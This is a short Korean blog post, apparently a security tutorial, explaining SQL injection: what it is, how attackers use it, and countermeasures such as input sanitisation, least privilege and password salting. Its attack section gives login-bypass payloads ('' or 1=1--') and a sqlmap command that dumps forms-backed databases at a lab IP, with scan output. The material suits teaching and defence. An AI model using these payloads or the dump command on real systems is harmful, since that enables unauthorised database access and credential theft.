ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • SQL Injection (aka SQLi) Attack
    Security in CPS/CyberAttack 2021. 1. 17. 12:17

    [소개]

    SQL (Structured Query Language) Injection 공격은 타켓이 사용하고 있는 데이터베이스에서 수행되는 쿼리문을 처리하는 과정에서의 취약점을 이용해 수행하는 공격입니다. 공격자는 타켓 서버로 의심되는 SQL 코드를 주입하여 접근 권한이 없는 정보를 취득하려고 시도합니다. 이 정보들 중에서 민감한 정보들 예를 들면, 사용자 계정정보, 패스워드 해시, 또는 임직원의 고용정보를 획득할 수 있습니다.

     [공격방법]

    • 직접 입력: OR 연산자를 이용해 쿼리문을 항상 참으로 만들고 '--' 또는 ";" 연산자로 이후에 수행된 쿼리문을 비활성화 시킵니다.
    {"email": "' or 1=1--", "password":"a"}
    {"username": "admin or 1=1--", "password": "a"}
    • 자동화 툴 사용 (e.g., sqlmap): 목표하는 타켓이 가지고 있는 데이터베이스의 취약점에 대한 정보를 확인할 수 있습니다. SQL 인젝션 공격이 성공할 경우 사용자의 비밀번호 해시와 같은 민감한 정보를 취득할 수 있습니다. 그리고 이 해시 정보는 경우에 따라 Rainbow Table Attack  으로 사용자가 설정한 비밀번호까지 취득할 수 있습니다.
    # --batch: do not ask but use a default
    $> sqlmap -u http://10.10.9.143 --forms --dump --batch
    ...
    [17:24:43] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
    [17:24:43] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
    [17:24:43] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
    [17:24:44] [INFO] POST parameter 'msg' is 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' injectable
    [17:24:44] [INFO] testing 'MySQL inline queries' [17:24:44] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [17:24:45] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
    ...

    [대응방법]

    • 기본적으로 서버에서는 사용자가 전달할 수 있는 입력값에 대한 검증이 필요합니다. 허용가능한 입력 문자 이외 (예를 들면 ', -- 등)에는 쿼리문에서 수행하지 못하도록 입력값에 대한 Sanitization 을 수행합니다.
    • 사용자 계정을 통제합니다. 사용자가 필요한 최소한의 데이터만 접근하도록 권한을 제한하고 제공하는 서비스나 어플에 한해서도 제한된 리소스들에만 접근하도록 허용합니다.
    • 비밀번호 해시 생성시 Salting 을 통해 정보가 유출되더라도 비밀번호를 추측할 수 어렵게 만듭니다.
    • 사용자는 특수기호를 포함한 8자리 이상의 비밀번호를 설정하여 공격자로 하여금 추측을 어렵게 만들어야 합니다.

     

    댓글

Designed by Tistory.